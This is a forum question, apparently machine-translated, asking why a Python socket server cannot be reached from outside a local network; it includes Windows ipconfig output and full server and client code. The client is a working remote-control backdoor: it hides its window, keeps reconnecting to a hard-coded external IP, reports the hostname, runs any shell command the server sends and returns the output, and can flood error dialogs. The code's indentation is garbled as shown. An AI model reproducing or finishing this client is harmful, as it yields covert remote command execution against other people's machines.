How to create a connection via socket in python without local area?

I have created a simple server on PC and can't connect via external ip address, but when I try to check if the port is open using CanYouSeeMe.org I have built soedinenie socket.
ipconfig:

IP configuration for Windows

Ethernet Adapter Ethernet:

The state of the environment. . . . . . . . : The transmission medium is not available.
DNS suffix for this connection . . . . . :

Ethernet Adapter Hamachi:

DNS suffix for this connection . . . . . :
IPv6 address. . . . . . . . . . . . : 2620:9b::194f:4206
The local IPv6-address channel . . . : fe80::2c58:ff32:72f0:9ad8%4
IPv4 address. . . . . . . . . . . . : 25.79.66.6
Subnet mask . . . . . . . . . . : 255.0.0.0
Default gateway. . . . . . . . . : 2620:9b::1900:1
25.0.0.1

The wireless LAN adapter Connection on a local network* 1:

The state of the environment. . . . . . . . : The transmission medium is not available.
DNS suffix for this connection . . . . . :

Wireless adapter LAN local area Connection* 10:

The state of the environment. . . . . . . . : The transmission medium is not available.
DNS suffix for this connection . . . . . :

The wireless LAN adapter Wireless network:

DNS suffix for this connection . . . . . :
The local IPv6-address channel . . . fe80:: 881a:4755:c677:80b1%11
IPv4 address. . . . . . . . . . . . : 192.168.1.7
Subnet mask . . . . . . . . . . : 255.255.255.0
Default gateway. . . . . . . . . : 192.168.1.1

Ethernet adapter Bluetooth Network connection:

The state of the environment. . . . . . . . : The transmission medium is not available.
DNS suffix for this connection . . . . . :

Server
import os
import socket



print(socket.gethostname())
s = socket.socket()
host = '0.0.0.0'
port = 8080
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
print(addr)
files = conn.recv(5000)
files = files.decode()
print(files)
while 1:
 command = input(str("Comand >> "))
 if command == "view_cd":
conn.send(command.encode())

 files = conn.recv(5000)
 files = files.decode()
 print("Command output: ")
print(files)
 elif command.split(',')[0] == 'powershell':
 if command.split(',')[2] == 'callback':
conn.send(command.encode())
 files = conn.recv(5000)
 files = files.decode()
 print("Command output: ")
print(files)
else:
conn.send(command.encode())
 elif command == 'show_error':
conn.send(command.encode())
else:
 print("Command error")

The client
import os
import socket
from subprocess import Popen, PIPE
import tkinter
from tkinter import messagebox
import time

# hide main window
root = tkinter.Tk()
root.withdraw()
while 1:
try:
 s = socket.socket()
 host = '95.133.224.63'
 port = 8080
 print("Server address: ", host, port)
s.connect((host,port))

 print("Conncet successfully")
s.send(str(socket.gethostname()).encode())
 while 1:
 command = s.recv(1024)
 command = command.decode()
 print("Comand recieved")
 if command == "view_cd":
 files = str(os.getcwd())
s.send(files.encode())
 elif command.split(',')[0] == 'powershell':

 proc = Popen(
command.split(',')[1],
shell=True,
 stdout=PIPE, stderr=PIPE
)
 proc.wait() # wait for execution
 res = proc.communicate() # get the tuple('stdout', 'stderr')
 if proc.returncode:
print(res[1].decode('cp866'))
s.send(res[1].decode('cp866').encode())
s.send(res[0].decode('cp866').encode())
 print('result:', res[0].decode('cp866'))
 elif command == "show_error":
 for el in range(10):
 messagebox.showerror("Test", "Test")
else:
 print("Command error")

except:
 print("Error to connect")
 time.sleep(1)
April 7th 20 at 10:49
0 answer

Find more questions by tags PythonSockets